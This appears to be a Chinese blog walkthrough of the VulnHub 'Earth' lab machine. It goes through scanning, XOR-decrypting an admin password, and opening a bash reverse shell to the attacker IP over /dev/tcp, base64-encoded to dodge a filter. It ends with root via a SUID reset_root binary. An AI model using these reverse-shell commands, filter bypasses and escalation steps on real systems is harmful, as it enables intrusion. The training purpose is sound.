vulnhub——Earth靶机

一、概要

攻击机:192.168.60.148
靶机:192.168.60.174
靶机下载地址:https://download.vulnhub.com/theplanets/Earth.ova.torrent

二、主机发现

netdiscover

直接用netdiscover模糊搜索一下主机

可以发现靶机地址为192.168.60.174 

三、信息收集

sudo nmap -sS -A -T4 192.168.60.174

80端口返回HTTP400,向下看发现有DNS解析

DNS:earth.local
DNS:terratest.earth.local

 修改一下hosts文件

sudo vi /etc/hosts
    必须使用root权限,不然无法保存

 再次nmap进行扫描,之前返回HTTP400的页面就没问题了

访问http://earth.local
http://terratest.earth.local
https://earth.local/
三个页面是相同的内容

下面有三行数值

Previous Messages:
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

 https://terratest.earth.local的页面内容不一样

四、目录扫描

dirb扫描

http://earth.localhttps://earth.localhttp://terratest.earth.local的扫描结果都是一样的

 

https://terratest.earth.local的结果不一样

信息收集

网站下有robots.txt文件

前面的都是后缀,最后一个是文件名

 猜测一下后缀,测出来后缀为txt后缀

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

译文:
测试安全邮件系统注意事项:
*使用XOR加密作为算法,应该像RSA中使用的那样安全。
*地球已确认他们已收到我们发送的消息。
*testdata.txt用于测试加密。
*terra用作管理门户的用户名。
待办事项:
*我们如何将每月的密钥安全地发送到地球?还是应该每周更换一次密钥?
*需要测试不同的密钥长度以防止暴力破解。密钥应该多长时间?
*需要改进消息传递界面和管理面板的界面,目前非常基本。

获取信息:
1、密码采用XOR加密算法
2、testdata.txt文件
3、用户名为terra
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

译文:
根据辐射测年估计和其他证据,地球形成于45亿年前。在地球历史的前十亿年内,海洋中出现了生命,并开始影响地球的大气层和表面,导致厌氧生物的扩散,后来又出现了有氧生物。一些地质证据表明,生命可能早在41亿年前就出现了。

五、密码破解

XOR解密

根据上面我们可以尝试破解一下密码

结合前面页面显示的密钥可以尝试一下

前面两个密钥的解码都是乱码,只有最后一个可以正常解码

 先把密钥进行一下hex转换为utf8

再配合密文进行XOR解密,编码为utf8

得出结果

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

一串由earthclimatechangebad4humans循环组成的字符串
明文密码应该就是earthclimatechangebad4humans

 结合前面的用户名,找到之前扫出来的的登录页面尝试一下

 用户登录

用户名:terra
密码:earthclimatechangebad4humans

登陆成功

 这里是一个命令执行的输入框,有命令执行漏洞存在的可能性

查看一下权限为普通用户

六、提权

反弹shell

尝试bash直接反弹shell

bash -c 'exec bash -i &>/dev/tcp/192.168.60.148/8888 <&1'

没有反应,无法执行

应该是对其中的敏感内容进行了过滤

对反弹shell的命令进行一下base64编码试试

(注意这里的命令不一样了,少去了前面的部分)

 

YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguNjAuMTQ4Lzg4ODggPCYxCg==

只输入base64编码数据是无法执行的,要结合解码命令使用
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguNjAuMTQ4Lzg4ODggPCYxCg== | base64 -d | bash

 先使用nc对本地8888端口进行监听

成功反弹shell

依旧是普通用户权限

查看一下靶机中有权限的文件

find / -perm -u=s -type f 2>/dev/null

这里的reset_root根据文件名应该可以用来重置root密码

查看一下这个文件的内容

虽然有乱码,但是可以大概看出来是把root密码更改为了Earth

但是尝试提权的时候,发现失败了

查看返回信息的话,应该就是执行的过程中出了什么差错

利用ltrace调试文件

将文件传回攻击机进行查看

攻击机开启监听,把接收到的文件命名为跟靶机文件相同的文件名

 靶机传回文件

攻击机接收到了

先给文件赋权

ltrace跟踪库函数调用,发现缺少三个文件

SUID提权

在靶机上创建这三个文件再执行试试

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

 显示密码修改成功

su提权试试

提权成功

切换到root目录下拿到flag

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值